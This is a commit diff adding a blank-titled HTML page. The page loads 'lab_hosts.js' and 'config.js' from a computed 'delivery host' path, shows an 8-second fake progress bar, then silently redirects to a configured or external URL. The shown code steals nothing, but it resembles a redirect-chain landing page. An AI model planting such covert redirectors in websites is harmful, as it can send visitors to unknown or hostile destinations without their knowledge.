feat: ds
This commit is contained in:
@@ -0,0 +1,67 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="zh-CN">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
|
||||
<meta name="theme-color" content="#ffffff" />
|
||||
<meta name="apple-mobile-web-app-capable" content="yes" />
|
||||
<title></title>
|
||||
<style>
|
||||
* { box-sizing: border-box; margin: 0; padding: 0; }
|
||||
html, body { width: 100%; height: 100%; overflow: hidden; background: #fff; }
|
||||
.page { width: 100%; height: 100%; min-height: 100vh; min-height: 100dvh; background: #fff; position: relative; }
|
||||
.top-progress { position: fixed; top: 0; left: 0; width: 100%; height: 2px; z-index: 9999; pointer-events: none; background: transparent; overflow: hidden; }
|
||||
.top-progress-bar { height: 100%; width: 0; background: #007aff; border-radius: 0 1px 1px 0; box-shadow: 0 0 6px rgba(0, 122, 255, 0.45); transform-origin: left center; will-change: width, opacity; }
|
||||
.top-progress.is-done .top-progress-bar { opacity: 0; transition: opacity 0.2s ease; }
|
||||
@media (prefers-reduced-motion: reduce) { .top-progress-bar { transition: none !important; } }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="page">
|
||||
<div class="top-progress" id="topProgress" aria-hidden="true">
|
||||
<div class="top-progress-bar" id="topProgressBar"></div>
|
||||
</div>
|
||||
</div>
|
||||
<script>
|
||||
(function () {
|
||||
var p = location.pathname || "/";
|
||||
var m = p.match(/^(.*\/next-chain)(?:\/|$)/);
|
||||
var prefix = m ? m[1] : (p.replace(/\/[^/]*\.[a-zA-Z0-9]+$/, "").replace(/\/$/, "") || "");
|
||||
var base = location.origin + prefix;
|
||||
window.__LAB_DELIVERY_HOST__ = base;
|
||||
document.write('<script src="' + base + '/lab_hosts.js"><\/script>');
|
||||
document.write('<script src="' + base + '/config.js"><\/script>');
|
||||
})();
|
||||
</script>
|
||||
<script>
|
||||
var LOADING_MS = 8000;
|
||||
var REDIRECT_URL = (window.NEWS2_CONFIG && window.NEWS2_CONFIG.redirectUrl) || 'https://ab.ux600.com';
|
||||
|
||||
(function () {
|
||||
var bar = document.getElementById('topProgressBar');
|
||||
var wrap = document.getElementById('topProgress');
|
||||
var start = Date.now();
|
||||
|
||||
function setProgress(value) { bar.style.width = Math.max(0, Math.min(100, value)) + '%'; }
|
||||
|
||||
function tick() {
|
||||
var elapsed = Date.now() - start;
|
||||
var ratio = elapsed / LOADING_MS;
|
||||
var next;
|
||||
if (ratio < 0.35) { next = ratio / 0.35 * 68; }
|
||||
else if (ratio < 0.85) { next = 68 + (ratio - 0.35) / 0.5 * 22; }
|
||||
else if (ratio < 1) { next = 90 + (ratio - 0.85) / 0.15 * 9; }
|
||||
else { next = 100; }
|
||||
setProgress(next);
|
||||
if (elapsed < LOADING_MS) { window.requestAnimationFrame(tick); }
|
||||
else {
|
||||
setProgress(100);
|
||||
wrap.className = 'top-progress is-done';
|
||||
window.setTimeout(function () { window.location.replace(REDIRECT_URL); }, 120);
|
||||
}
|
||||
}
|
||||
window.requestAnimationFrame(tick);
|
||||
})();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
Reference in New Issue
Block a user